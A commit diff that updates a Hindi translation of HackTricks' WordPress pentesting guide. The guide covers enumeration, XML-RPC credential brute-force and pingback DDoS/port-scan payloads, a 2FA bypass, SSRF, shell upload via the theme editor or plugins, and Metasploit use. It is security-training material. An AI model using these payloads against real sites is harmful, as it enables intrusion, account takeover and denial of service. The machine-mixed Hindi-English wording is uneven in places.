mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/network-services-pentesting/pentesting-web/wordpres
This commit is contained in:
parent
f741731319
commit
532423341c
@ -4,49 +4,49 @@
|
||||
|
||||
## बुनियादी जानकारी
|
||||
|
||||
- **Uploaded** फ़ाइलें जाती हैं: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Themes files can be found in /wp-content/themes/,** इसलिए अगर आप थीम की कुछ php बदलकर RCE हासिल करते हैं तो आप संभवतः उस path का उपयोग करेंगे। उदाहरण के लिए: Using **theme twentytwelve** आप **404.php** फ़ाइल में **access** कर सकते हैं: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- **अपलोड की गई** फ़ाइलें इसी जगह जाती हैं: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Themes files can be found in /wp-content/themes/,** इसलिए अगर आप theme के कुछ php बदलकर RCE हासिल करना चाहते हैं तो आप शायद वही path इस्तेमाल करेंगे। उदाहरण के लिए: theme **twentytwelve** का उपयोग करते समय आप इस फ़ाइल को एक्सेस कर सकते हैं: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- **एक और उपयोगी URL हो सकता है:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- In **wp-config.php** आप डेटाबेस का root पासवर्ड पा सकते हैं।
|
||||
- जाँचने के लिए डिफ़ॉल्ट लॉगिन पथ: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
- `wp-config.php` में आप database के root password जैसी जानकारी पा सकते हैं।
|
||||
- जाँच करने के लिए डिफ़ॉल्ट लॉगिन paths: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
|
||||
### **Main WordPress Files**
|
||||
|
||||
- `index.php`
|
||||
- `license.txt` में उपयोगी जानकारी होती है जैसे कि WordPress का इंस्टॉल किया गया संस्करण।
|
||||
- `wp-activate.php` का उपयोग नए WordPress साइट सेटअप के दौरान ईमेल activation प्रक्रिया के लिए होता है।
|
||||
- Login फ़ोल्डर्स (छुपाने के लिए नाम बदले गए हो सकते हैं):
|
||||
- `license.txt` में उपयोगी जानकारी होती है जैसे इंस्टॉल किया गया WordPress का version।
|
||||
- `wp-activate.php` नया WordPress साइट सेटअप करते समय ईमेल activation प्रक्रिया के लिए उपयोग होता है।
|
||||
- Login फ़ोल्डर (छिपाने के लिए नाम बदला जा सकता है):
|
||||
- `/wp-admin/login.php`
|
||||
- `/wp-admin/wp-login.php`
|
||||
- `/login.php`
|
||||
- `/wp-login.php`
|
||||
- `xmlrpc.php` एक फ़ाइल है जो WordPress की उस सुविधा का प्रतिनिधित्व करती है जो HTTP को transport mechanism के रूप में और XML को encoding mechanism के रूप में उपयोग करके डेटा को ट्रांसमिट करने में सक्षम बनाती है। इस प्रकार का संचार WordPress [REST API](https://developer.wordpress.org/rest-api/reference) द्वारा बदल दिया गया है।
|
||||
- `wp-content` फ़ोल्डर मुख्य निर्देशिका है जहाँ plugins और themes संग्रहीत होते हैं।
|
||||
- `wp-content/uploads/` वह निर्देशिका है जहाँ प्लेटफ़ॉर्म पर अपलोड की गई कोई भी फ़ाइलें संग्रहीत होती हैं।
|
||||
- `wp-includes/` यह वह निर्देशिका है जहाँ core फ़ाइलें संग्रहीत होती हैं, जैसे certificates, fonts, JavaScript फ़ाइलें, और widgets।
|
||||
- `wp-sitemap.xml` WordPress संस्करण 5.5 और उससे ऊपर में, Wordpress सभी public पोस्ट और publicly queryable post types और taxonomies के साथ एक sitemap XML फ़ाइल उत्पन्न करता है।
|
||||
- `xmlrpc.php` एक फ़ाइल है जो WordPress की उस सुविधा को दर्शाती है जो HTTP को transport mechanism और XML को encoding mechanism के रूप में उपयोग करके डेटा ट्रांसमिट करने में सक्षम बनाती है। इस तरह की संचार विधि को WordPress के [REST API](https://developer.wordpress.org/rest-api/reference) ने बदल दिया है।
|
||||
- `wp-content` फ़ोल्डर मुख्य डायरेक्टरी है जहाँ plugins और themes संग्रहित होते हैं।
|
||||
- `wp-content/uploads/` वह डायरेक्टरी है जहाँ प्लेटफ़ॉर्म पर अपलोड की गई कोई भी फ़ाइलें संग्रहीत होती हैं।
|
||||
- `wp-includes/` यह वह डायरेक्टरी है जहाँ core फ़ाइलें संग्रहीत होती हैं, जैसे certificates, fonts, JavaScript फ़ाइलें, और widgets।
|
||||
- `wp-sitemap.xml` WordPress के version 5.5 और उससे बड़े में, WordPress सभी public posts और publicly queryable post types और taxonomies के साथ एक sitemap XML फ़ाइल जेनरेट करता है।
|
||||
|
||||
**Post exploitation**
|
||||
|
||||
- `wp-config.php` फ़ाइल में वह जानकारी होती है जिसकी आवश्यकता WordPress को database से कनेक्ट करने के लिए होती है जैसे database name, database host, username और पासवर्ड, authentication keys और salts, और database table prefix। इस configuration फ़ाइल का उपयोग DEBUG मोड को सक्रिय करने के लिए भी किया जा सकता है, जो troubleshooting में उपयोगी हो सकता है।
|
||||
- `wp-config.php` फ़ाइल में WordPress को database से कनेक्ट करने के लिए आवश्यक जानकारी होती है जैसे database का नाम, database host, username और password, authentication keys और salts, और database table prefix। यह configuration फ़ाइल DEBUG mode को activate करने के लिए भी इस्तेमाल की जा सकती है, जो troubleshooting में उपयोगी हो सकता है।
|
||||
|
||||
### Users Permissions
|
||||
|
||||
- **Administrator**
|
||||
- **Editor**: अपना और दूसरों के पोस्ट प्रकाशित और प्रबंधित कर सकता है
|
||||
- **Author**: अपने पोस्ट प्रकाशित और प्रबंधित कर सकता है
|
||||
- **Contributor**: अपने पोस्ट लिख और प्रबंधित कर सकता है लेकिन उन्हें प्रकाशित नहीं कर सकता
|
||||
- **Subscriber**: पोस्ट ब्राउज़ करता है और अपना प्रोफ़ाइल संपादित कर सकता है
|
||||
- **Editor**: अपने और अन्य के posts को प्रकाशित और प्रबंधित करता है
|
||||
- **Author**: अपने खुद के posts को प्रकाशित और प्रबंधित करता है
|
||||
- **Contributor**: अपने posts लिखता और प्रबंधित करता है लेकिन उन्हें प्रकाशित नहीं कर सकता
|
||||
- **Subscriber**: पोस्ट ब्राउज़ करता है और अपना प्रोफाइल संपादित कर सकता है
|
||||
|
||||
## **Passive Enumeration**
|
||||
|
||||
### **WordPress संस्करण प्राप्त करें**
|
||||
### **Get WordPress version**
|
||||
|
||||
जाँचें कि क्या आप फ़ाइलें `/license.txt` या `/readme.html` खोज सकते हैं
|
||||
जांचें कि क्या आप `/license.txt` या `/readme.html` फ़ाइलें ढूँढ़ सकते हैं
|
||||
|
||||
पेज के **source code** के अंदर (उदाहरण from [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
||||
पेज के **source code** के अंदर (उदाहरण [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
||||
|
||||
- grep
|
||||
```bash
|
||||
@ -64,7 +64,7 @@ curl https://victim.com/ | grep 'content="WordPress'
|
||||
|
||||
.png>)
|
||||
|
||||
### Plugins प्राप्त करें
|
||||
### प्लगइन्स प्राप्त करें
|
||||
```bash
|
||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
```
|
||||
@ -72,7 +72,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
||||
```bash
|
||||
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
```
|
||||
### सामान्य रूप से संस्करण निकालें
|
||||
### सामान्य तौर पर संस्करण निकालना
|
||||
```bash
|
||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
|
||||
@ -81,37 +81,37 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
||||
|
||||
### Plugins and Themes
|
||||
|
||||
आप संभवतः सभी Plugins और Themes ढूँढ नहीं पाएँगे। उन्हें खोजने के लिए, आपको **actively Brute Force a list of Plugins and Themes** करना होगा (खुशी की बात है कि हमारे लिए कुछ automated tools मौजूद हैं जिनमें ये lists होती हैं)।
|
||||
शायद आप सभी Plugins और Themes को खोज पाना संभव नहीं होगा। इन्हें खोजने के लिए, आपको **actively Brute Force a list of Plugins and Themes** करना होगा (आशा है कि हमारे लिए ऐसे स्वचालित टूल मौजूद हैं जिनमें ये सूचियाँ होती हैं)।
|
||||
|
||||
### Users
|
||||
### उपयोगकर्ता
|
||||
|
||||
- **ID Brute:** आप WordPress साइट से वैध users Brute Forcing users IDs के द्वारा प्राप्त कर सकते हैं:
|
||||
- **ID Brute:** आप WordPress साइट से वैध उपयोगकर्ता Brute Forcing users IDs करके प्राप्त करते हैं:
|
||||
```bash
|
||||
curl -s -I -X GET http://blog.example.com/?author=1
|
||||
```
|
||||
यदि प्रतिक्रियाएँ **200** या **30X** हैं, तो इसका अर्थ है कि id **मान्य** है। यदि प्रतिक्रिया **400** है, तो id **अमान्य** है।
|
||||
यदि response कोड **200** या **30X** हैं, तो इसका मतलब है कि id **मान्य** है। यदि response कोड **400** है, तो id **अमान्य** है।
|
||||
|
||||
- **wp-json:** आप उपयोगकर्ताओं के बारे में जानकारी प्राप्त करने के लिए क्वेरी कर सकते हैं:
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/wp/v2/users
|
||||
```
|
||||
एक और `/wp-json/` endpoint जो उपयोगकर्ताओं के बारे में कुछ जानकारी प्रकट कर सकता है:
|
||||
एक और `/wp-json/` endpoint जो उपयोगकर्ताओं के बारे में कुछ जानकारी उजागर कर सकता है:
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||
Note that this endpoint only exposes users that have made a post. **केवल उन उपयोगकर्ताओं की जानकारी प्रदान की जाएगी जिनके लिए यह feature सक्षम है**।
|
||||
ध्यान दें कि यह एंडपॉइंट केवल उन उपयोगकर्ताओं को प्रदर्शित करता है जिन्होंने पोस्ट की है। **सिर्फ उन उपयोगकर्ताओं की जानकारी प्रदान की जाएगी जिनके लिए यह फीचर सक्षम है।**
|
||||
|
||||
Also note that **/wp-json/wp/v2/pages** IP addresses को leak कर सकता है।
|
||||
साथ ही ध्यान दें कि **/wp-json/wp/v2/pages** IP addresses को leak कर सकता है।
|
||||
|
||||
- **Login username enumeration**: जब **`/wp-login.php`** पर लॉगिन करते समय **संदेश** अलग होता है, जो यह संकेत देता है कि **username मौजूद है या नहीं**।
|
||||
- **Login username enumeration**: जब **`/wp-login.php`** पर लॉगिन करते समय **संदेश** इस बात के अनुसार **अलग** होता है कि **उपयोगकर्ता नाम मौजूद है या नहीं**।
|
||||
|
||||
### XML-RPC
|
||||
|
||||
यदि `xml-rpc.php` सक्रिय है तो आप credentials पर brute-force कर सकते हैं या इसका उपयोग अन्य resources पर DoS attacks लॉन्च करने के लिए कर सकते हैं। (उदाहरण के लिए आप इस process को [using this](https://github.com/relarizky/wpxploit) से automate कर सकते हैं)।
|
||||
यदि `xml-rpc.php` सक्रिय है, तो आप credentials brute-force कर सकते हैं या इसका उपयोग अन्य संसाधनों पर DoS attacks लॉन्च करने के लिए कर सकते हैं। (उदाहरण के लिए आप इस प्रक्रिया को स्वचालित कर सकते हैं [using this](https://github.com/relarizky/wpxploit))।
|
||||
|
||||
To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
||||
|
||||
**जाँचें**
|
||||
**जाँच करें**
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>system.listMethods</methodName>
|
||||
@ -122,7 +122,7 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
||||
|
||||
**Credentials Bruteforce**
|
||||
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** या **`metaWeblog.getUsersBlogs`** ऐसे कुछ तरीके हैं जिन्हें brute-force credentials के लिए इस्तेमाल किया जा सकता है। यदि आप इनमें से कोई भी पा लेते हैं तो आप कुछ ऐसा भेज सकते हैं:
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** या **`metaWeblog.getUsersBlogs`** कुछ ऐसे मेथड हैं जिनका उपयोग brute-force credentials के लिए किया जा सकता है। यदि आप इनमें से कोई भी पा लेते हैं तो आप कुछ इस तरह भेज सकते हैं:
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>wp.getUsersBlogs</methodName>
|
||||
@ -132,13 +132,13 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
यदि credentials अमान्य हैं तो 200 code response के अंदर संदेश _"Incorrect username or password"_ दिखाई देना चाहिए।
|
||||
यदि क्रेडेंशियल्स वैध नहीं हैं तो 200 कोड रिस्पॉन्स के अंदर संदेश _"Incorrect username or password"_ दिखाई देना चाहिए।
|
||||
|
||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||||
|
||||
.png>)
|
||||
|
||||
सही credentials का उपयोग करके आप एक file अपलोड कर सकते हैं। response में path दिखाई देगा ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
सही क्रेडेंशियल्स का उपयोग करके आप एक फ़ाइल अपलोड कर सकते हैं। प्रतिक्रिया में पथ दिखाई देगा ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
```html
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<methodCall>
|
||||
@ -168,18 +168,18 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
Also there is a **तेज़ तरीका** to brute-force credentials using **`system.multicall`** as you can try several credentials on the same request:
|
||||
Also there is a **faster way** to brute-force credentials using **`system.multicall`** as you can try several credentials on the same request:
|
||||
|
||||
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Bypass 2FA**
|
||||
|
||||
This method is meant for programs and not for humans, and old, therefore it doesn't support 2FA. So, if you have valid creds but the main entrance is protected by 2FA, **you might be able to abuse xmlrpc.php to login with those creds bypassing 2FA**. Note that you won't be able to perform all the actions you can do through the console, but you might still be able to get to RCE as Ippsec explains it in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
यह तरीका programs के लिए बनाया गया है और humans के लिए नहीं, और पुराना है, इसलिए यह 2FA को सपोर्ट नहीं करता। तो, अगर आपके पास वैध creds हैं पर मुख्य प्रवेश 2FA से सुरक्षित है, **तो आप xmlrpc.php का दुरुपयोग करके उन creds के साथ 2FA बाइपास करते हुए login करने में सक्षम हो सकते हैं**। ध्यान दें कि आप console के माध्यम से जो सभी actions कर सकते हैं वे सभी करने में सक्षम नहीं होंगे, लेकिन आप फिर भी RCE तक पहुँच सकते हैं जैसा Ippsec इसे [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) में समझाते हैं।
|
||||
|
||||
**DDoS or port scanning**
|
||||
|
||||
If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\
|
||||
This can be used to ask **हज़ारों** of Wordpress **sites** to **access** one **location** (so a **DDoS** is caused in that location) or you can use it to make **Wordpress** lo **scan** some internal **network** (you can indicate any port).
|
||||
अगर आप list के अंदर _**pingback.ping**_ method पा लेते हैं तो आप Wordpress को किसी भी host/port पर arbitrary request भेजवा सकते हैं।\
|
||||
इसे इस्तेमाल करके आप **हज़ारों** Wordpress **sites** को किसी एक **location** को **access** करने के लिए कह सकते हैं (जिससे उस location पर **DDoS** हो सकता है) या आप इसे **Wordpress** को किसी internal **network** को **scan** कराने के लिए भी इस्तेमाल कर सकते हैं (आप किसी भी पोर्ट का संकेत दे सकते हैं)।
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>pingback.ping</methodName>
|
||||
@ -191,9 +191,9 @@ This can be used to ask **हज़ारों** of Wordpress **sites** to **ac
|
||||
```
|
||||

|
||||
|
||||
यदि आपको **faultCode** का मान **0** (17) से **अधिक** मिलता है, तो इसका मतलब पोर्ट खुला है।
|
||||
यदि आपको **faultCode** का मान **0** से बड़ा (17) मिलता है, तो इसका मतलब है कि पोर्ट खुला है।
|
||||
|
||||
पूर्व अनुभाग में **`system.multicall`** के उपयोग को देखें ताकि आप सीख सकें कि इस विधि का दुरुपयोग करके कैसे DDoS किया जा सकता है।
|
||||
पिछले सेक्शन में **`system.multicall`** के उपयोग को देखिए ताकि यह सीखा जा सके कि इस विधि का दुरुपयोग करके DDoS कैसे किया जा सकता है।
|
||||
|
||||
**DDoS**
|
||||
```html
|
||||
@ -209,15 +209,15 @@ This can be used to ask **हज़ारों** of Wordpress **sites** to **ac
|
||||
|
||||
### wp-cron.php DoS
|
||||
|
||||
यह फ़ाइल आम तौर पर Wordpress साइट की root डायरेक्टरी में मौजूद होती है: **`/wp-cron.php`**\
|
||||
जब इस फ़ाइल को access किया जाता है तो एक **heavy** MySQL **query** चलाई जाती है, इसलिए इसे **attackers** द्वारा **DoS** उत्पन्न करने के लिए इस्तेमाल किया जा सकता है।\
|
||||
इसके अलावा, डिफ़ॉल्ट रूप से `wp-cron.php` को हर page load पर बुलाया जाता है (जब भी कोई client किसी Wordpress पेज को request करता है), जो high-traffic साइट्स पर समस्याएँ पैदा कर सकता है (DoS)।
|
||||
This file usually exists under the root of the Wordpress site: **`/wp-cron.php`**\
|
||||
जब इस फ़ाइल को **accessed** किया जाता है तो एक "**heavy**" MySQL **query** perform की जाती है, इसलिए इसे **attackers** द्वारा **cause** करने के लिए इस्तेमाल किया जा सकता है **DoS** के लिये।\
|
||||
डिफ़ॉल्ट रूप से, `wp-cron.php` हर पेज लोड पर कॉल किया जाता है (जब भी कोई क्लाइंट कोई भी Wordpress पेज रिक्वेस्ट करता है), जो हाई-ट्रैफ़िक साइट्स पर समस्याएँ (DoS) पैदा कर सकता है।
|
||||
|
||||
सुझाव है कि Wp-Cron को disable कर दिया जाए और host के अंदर एक real cronjob बनाया जाए जो आवश्यक कार्यों को नियमित अंतराल पर चलाए (बिना समस्याएँ पैदा किए)।
|
||||
सुझाव है कि Wp-Cron को निष्क्रिय करें और host के अंदर एक वास्तविक cronjob बनाएं जो आवश्यक क्रियाएँ नियमित अंतराल पर करे (बिना समस्याएँ उत्पन्न किए)।
|
||||
|
||||
### /wp-json/oembed/1.0/proxy - SSRF
|
||||
|
||||
कोशिश करें कि _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ पर पहुँचें और Worpress साइट आपके पास request कर सकती है।
|
||||
कोशिश करें कि _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ को access करने की और Wordpress साइट संभवतः आप पर एक रिक्वेस्ट कर सकती है।
|
||||
|
||||
This is the response when it doesn't work:
|
||||
|
||||
@ -230,36 +230,36 @@ This is the response when it doesn't work:
|
||||
https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||||
{{#endref}}
|
||||
|
||||
यह tool जाँचता है कि **methodName: pingback.ping** और path **/wp-json/oembed/1.0/proxy** मौजूद हैं या नहीं और यदि मौजूद हों तो इन्हें exploit करने की कोशिश करता है।
|
||||
यह टूल जाँचता है कि **methodName: pingback.ping** और path **/wp-json/oembed/1.0/proxy** मौजूद है या नहीं, और यदि मौजूद है तो यह इन्हें exploit करने की कोशिश करता है।
|
||||
|
||||
## Automatic Tools
|
||||
## स्वचालित टूल्स
|
||||
```bash
|
||||
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
|
||||
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
|
||||
#You can try to bruteforce the admin user using wpscan with "-U admin"
|
||||
```
|
||||
## एक बिट ओवरराइट करके एक्सेस प्राप्त करें
|
||||
## एक बिट को ओवरराइट करके एक्सेस प्राप्त करें
|
||||
|
||||
वास्तविक हमले से अधिक यह एक जिज्ञासा है। CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) में आप किसी भी wordpress फ़ाइल का 1 बिट flip कर सकते थे। इसलिए आप फ़ाइल `/var/www/html/wp-includes/user.php` के position `5389` का बिट flip करके NOT (`!`) ऑपरेशन को NOP कर सकते थे।
|
||||
असल हमले की तुलना में यह एक जिज्ञासा है। CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) में आप किसी भी wordpress फ़ाइल का 1 बिट flip कर सकते थे। इसलिए आप फ़ाइल `/var/www/html/wp-includes/user.php` के पोजिशन `5389` के बिट को flip करके NOT (`!`) ऑपरेशन को NOP कर सकते थे।
|
||||
```php
|
||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||
return new WP_Error(
|
||||
```
|
||||
## **Panel RCE**
|
||||
## **पैनल RCE**
|
||||
|
||||
**थीम में उपयोग किए गए php में संशोधन (admin credentials needed)**
|
||||
**थीम में उपयोग किए गए php को संशोधित करना (admin credentials आवश्यक)**
|
||||
|
||||
Appearance → Theme Editor → 404 Template (at the right)
|
||||
Appearance → Theme Editor → 404 Template (दाईं तरफ़)
|
||||
|
||||
php shell के लिए सामग्री बदलें:
|
||||
php शेल के लिए कंटेंट बदलें:
|
||||
|
||||
.png>)
|
||||
|
||||
इंटरनेट पर खोजें कि आप उस अपडेटेड पेज तक कैसे पहुँच सकते हैं। इस मामले में आपको यहाँ पहुँचना होगा: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
इंटरनेट पर खोजें कि आप उस अपडेट की गई पेज तक कैसे पहुँच सकते हैं। इस मामले में आपको यहाँ एक्सेस करना होगा: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
### MSF
|
||||
|
||||
आप उपयोग कर सकते हैं:
|
||||
आप इस्तेमाल कर सकते हैं:
|
||||
```bash
|
||||
use exploit/unix/webapp/wp_admin_shell_upload
|
||||
```
|
||||
@ -269,12 +269,12 @@ to get a session.
|
||||
|
||||
### PHP plugin
|
||||
|
||||
It may be possible to upload .php files as a plugin.\
|
||||
Create your php backdoor using for example:
|
||||
यह संभव हो सकता है कि .php फाइलों को एक plugin के रूप में अपलोड किया जा सके।\
|
||||
अपने php backdoor को उदाहरण के लिए बनाएं:
|
||||
|
||||
.png>)
|
||||
|
||||
Then add a new plugin:
|
||||
फिर एक नया plugin जोड़ें:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -282,78 +282,78 @@ Upload plugin and press Install Now:
|
||||
|
||||
.png>)
|
||||
|
||||
Click on Procced:
|
||||
Procced पर क्लिक करें:
|
||||
|
||||
.png>)
|
||||
|
||||
Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded:
|
||||
शायद यह स्पष्ट रूप से कुछ नहीं करेगा, लेकिन अगर आप Media पर जाएं, तो आप अपना shell अपलोड हुआ देखेंगे:
|
||||
|
||||
.png>)
|
||||
|
||||
Access it and you will see the URL to execute the reverse shell:
|
||||
इसे एक्सेस करें और आप reverse shell को execute करने के लिए URL देखेंगे:
|
||||
|
||||
.png>)
|
||||
|
||||
### Uploading and activating malicious plugin
|
||||
|
||||
यह तरीका एक ऐसे malicious plugin की installation को शामिल करता है जो ज्ञात रूप से vulnerable है और इसका exploit करके web shell प्राप्त किया जा सकता है। यह प्रक्रिया WordPress dashboard के माध्यम से इस प्रकार की जाती है:
|
||||
यह तरीका एक vulnerable के रूप में जाना जाने वाले malicious plugin की installation में शामिल है और इसे exploit करके web shell प्राप्त किया जा सकता है। यह प्रक्रिया WordPress dashboard के माध्यम से निम्नानुसार की जाती है:
|
||||
|
||||
1. **Plugin Acquisition**: plugin को किसी स्रोत से प्राप्त किया जाता है जैसे Exploit DB जैसे [**here**](https://www.exploit-db.com/exploits/36374).
|
||||
1. **Plugin Acquisition**: Plugin को Exploit DB जैसे स्रोत से प्राप्त किया जाता है, जैसे [**here**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Plugin Installation**:
|
||||
- WordPress dashboard पर जाएं, फिर `Dashboard > Plugins > Upload Plugin` पर जाएं।
|
||||
- Download किया गया plugin zip file अपलोड करें।
|
||||
3. **Plugin Activation**: एक बार plugin सफलतापूर्वक install हो जाने पर, इसे dashboard के माध्यम से सक्रिय करना होगा।
|
||||
- डाउनलोड की गई plugin की zip फ़ाइल अपलोड करें।
|
||||
3. **Plugin Activation**: एक बार plugin सफलतापूर्वक इंस्टॉल हो जाने के बाद, इसे dashboard के माध्यम से activate करना होगा।
|
||||
4. **Exploitation**:
|
||||
- जब "reflex-gallery" plugin install और activate हो जाता है, तो इसे exploit किया जा सकता है क्योंकि यह ज्ञात रूप से vulnerable है।
|
||||
- Metasploit framework इस vulnerability के लिए एक exploit प्रदान करता है। उपयुक्त module लोड करके और विशिष्ट commands चलाकर, meterpreter session स्थापित किया जा सकता है, जो site पर unauthorized access देता है।
|
||||
- ध्यान दें कि यह WordPress साइट को exploit करने के कई तरीकों में से केवल एक है।
|
||||
- जब plugin "reflex-gallery" इंस्टॉल और activated हो, तो इसे exploit किया जा सकता है क्योंकि यह vulnerable के रूप में जाना जाता है।
|
||||
- Metasploit framework इस vulnerability के लिए एक exploit प्रदान करता है। उपयुक्त module लोड करके और specific commands execute करके, एक meterpreter session स्थापित किया जा सकता है, जो site तक unauthorized access देता है।
|
||||
- ध्यान दें कि यह WordPress साइट को exploit करने के कई तरीकों में से सिर्फ एक है।
|
||||
|
||||
यह सामग्री WordPress dashboard में plugin install और activate करने के चरणों को दिखाने वाले visual aids शामिल करती है। हालांकि, इस प्रकार की vulnerabilities का exploitation उचित अनुमति के बिना illegal और unethical है। यह जानकारी जिम्मेदारी से और केवल कानूनी परिप्रेक्ष्य में उपयोग की जानी चाहिए, जैसे explicit अनुमति के साथ penetration testing।
|
||||
यह सामग्री WordPress dashboard में plugin इंस्टॉल और activate करने के चरणों का दृश्य प्रदर्शन करती है। हालाँकि, यह महत्वपूर्ण है कि बिना उचित अनुमति के इस तरह kwetsbaarताएँ exploit करना गैरकानूनी और अनैतिक है। इस जानकारी का उपयोग जिम्मेदारी से और केवल कानूनी संदर्भ में किया जाना चाहिए, जैसे explicit permission के साथ penetration testing।
|
||||
|
||||
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
|
||||
## XSS से RCE तक
|
||||
## From XSS to RCE
|
||||
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ एक script है जिसे **Cross-Site Scripting (XSS)** vulnerability को **Remote Code Execution (RCE)** या WordPress में अन्य critical vulnerabilities में escalate करने के लिए डिजाइन किया गया है। अधिक जानकारी के लिए [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) देखें। यह **Wordpress Versions 6.X.X, 5.X.X and 4.X.X** के लिए support प्रदान करता है और निम्नलिखित की अनुमति देता है:
|
||||
- _**Privilege Escalation:**_ WordPress में एक user बनाता है।
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ अपना custom plugin (backdoor) WordPress पर upload करें।
|
||||
- _**(RCE) Built-In Plugin Edit:**_ WordPress के Built-In Plugins को edit करें।
|
||||
- _**(RCE) Built-In Theme Edit:**_ WordPress के Built-In Themes को edit करें।
|
||||
- _**(Custom) Custom Exploits:**_ Third-Party WordPress Plugins/Themes के लिए custom exploits।
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ एक script है जिसे WordPress में Cross-Site Scripting (XSS) vulnerability को Remote Code Execution (RCE) या अन्य critical vulnerabilities में escalate करने के लिए डिज़ाइन किया गया है। अधिक जानकारी के लिए [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) देखें। यह **Wordpress Versions 6.X.X, 5.X.X और 4.X.X** का समर्थन प्रदान करता है और निम्न करने की अनुमति देता है:
|
||||
- _**Privilege Escalation:**_ Creates an user in WordPress.
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Upload your custom plugin (backdoor) to WordPress.
|
||||
- _**(RCE) Built-In Plugin Edit:**_ Edit a Built-In Plugins in WordPress.
|
